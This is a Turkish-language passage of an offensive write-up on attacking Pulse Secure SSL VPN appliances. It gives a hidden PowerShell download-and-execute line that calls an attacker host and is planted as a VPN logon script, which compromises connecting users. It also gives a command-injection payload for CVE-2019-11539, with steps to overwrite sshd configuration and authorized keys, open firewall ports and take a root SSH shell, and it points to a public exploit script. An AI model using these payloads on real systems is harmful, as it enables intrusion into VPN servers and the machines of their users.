Toplu komut dosyası için kullandığımız kod aşağıdadır.
@echo off
powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://your-ip/payload))”
Şimdi nabız güvenli örneğimizde yönetici kimlik bilgilerimiz ile oturum açacağız. Bunu, oturum kimliğini, açık metin kimlik bilgilerini veya kırabileceğiniz karmaları içeren dosyaları almak için CVE-2019-11510’dan yararlanarak elde edebilirsiniz.
Daha sonra kullanıcılara -> kullanıcı rolleri -> VPN Tüneli -> Windows: Oturum başlatma komut dosyasına gideceğiz.
Buradan, kabuğumuzu sorgulayacak ve çalıştıracak toplu iş dosyamızı içeren SMB sunucumuz için UNC yolumuzu girebiliriz. Aşağıdaki resme benzemeli
Buradan, güvenliği ihlal edilmiş vpn örneğine giriş yapan herhangi bir kullanıcı, veri yükümüzü çalıştırır ve ardından o kullanıcının makinesine erişim sağlar. Video gösteriminin yanı sıra ekran görüntülerini de ekledik
Şimdi işin eğlenceli kısmına gelelim, kök ayrıcalıklarına sahip bir SSH kabuğu elde etmek için kimlik doğrulama sonrası bir istismardan nasıl yararlanabildiğimiz. İlk yarıda, yamalanmamış bir nabız için yetkilendirme almanın zor olmadığından daha önce bahsetmiştik, bu yüzden kutuya nasıl sahip olduğumuza geçeceğiz.
Araştırmamız sırasında, IP tablolarının yanı sıra SSH anahtarlarını ve ssh anahtarı yapılandırmalarını değiştirme izinlerine sahip olduğumuzu keşfettik; bu, root erişimiyle sorunsuz bir şekilde bir SSH kabuğu elde etmemizi sağlayacak.
Hızlı bir yenileme için kimlik doğrulama sonrası komut ekleme işlemi aşağıdaki komutu göndermemizi gerektirir
-r$x=”Our command”,system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc <
Bakım -> sorun giderme -> TCP Dökümü’nde bulunabilecek tcp dökümü uç noktasına.
Sayfa bize bir hata verecektir ancak komut işlenir, ardından https://sunucunuz/dana-na/auth/setcookie.cgi’den komutu yürütmesini isteriz. Sunucuya her sorgu yürütmek istediğimizde bu işlemi tekrarlamamız gerekir, aksi takdirde komutlarımız yürütülmeyecektir.
Bu yükseltme, kutunun sshd yapılandırmasını değiştirmeyi ve sisteme kendi SSH anahtarımızı eklemeyi, böylece ssh girişi yapma yeteneği sağlamayı amaçlamaktadır. Özellikle /.ssh/ ve cloud_sshd_config içinde bulunan yetkili anahtarları hedefliyoruz. /etc/ klasörü. Yetkili anahtarlar kutuya ssh girmesine izin verilen anahtarlardır, config sshd dosyası ise ssh arka plan programının yapılandırma dosyasıdır.
Şimdi buradan ssh kabuğumuzu elde etmek için sömürü sonrası işlemi gerçekleştirmek oldukça basittir. İlk olarak cloud_sshd_config’i ve .bak uzantılı anahtarları yetkilendirdik, böylece orijinal dosyaların yedek bir kopyasına sahip olabiliriz. Bunun gibi görünecek bir sshd yapılandırma dosyası yapmalısınız.
Protocol 2
UsePrivilegeSeparation no
RSAAuthentication yes
PubkeyAuthentication yes
ClientAliveInterval 180
ListenAddress 0.0.0.0
Bundan sonra kendi yetkili_anahtarlarımızı ve daha önce açıklanan sshd yapılandırma dosyasını tmp klasörüne kıvıracağız, orijinal dosyaların yedek kopyalarını oluşturduğumuz için artık kendi dosyalarımızı güvenli bir şekilde sunucuya taşıyabilir ve üzerine yazabiliriz. Dosyayı kendi sunucunuzdan kıvırmak ve ardından dosyayı dizinlere taşımak, komut enjeksiyonu yoluyla dosyayı değiştirmekle uğraşmak yerine en kolay yöntemdir.
Buradan, bağlantı noktasını açmak için IP tablolarını değiştirme talebinde bulunacağız, bu aşağıdaki komutla yapılabilir.
iptables -A INPUT -p tcp — dport PORT -j ACCEPT
Değişikliklerimizi tamamlamak ve değişikliklerimizin gerçekleşmesi için sshd-ive hizmetini yeniden başlatmamız gerekiyor.
kill -SIGHUP $(pgrep -f “sshd-ive
Bu yapıldıktan sonra artık kabuklu kutumuza ssh yapabiliriz.
ssh root@host -p6667
Bu bize daha fazla yükseltmeye gerek kalmadan bir kök ssh kabuğu verecektir. Yukarıda belirtildiği gibi, her komut başlatmak istediğimizde iki istekte bulunmamız gerektiğinden bunu manuel olarak yapmak biraz zaman alacaktır. Bu kolayca komut dosyası haline getirilebilir ve Pulse Secure SSL VPN’ye basit yönetici erişiminden sunucuya kök erişimi kazanmaya geçme yeteneğini göstermek için aşağıda bir gösteri hazırladık. Bundan yararlanmak için https://github.com/0xDezzy/CVE-2019-11539 adresinde bulunabilecek komut dosyamızı da yayınlayacağız.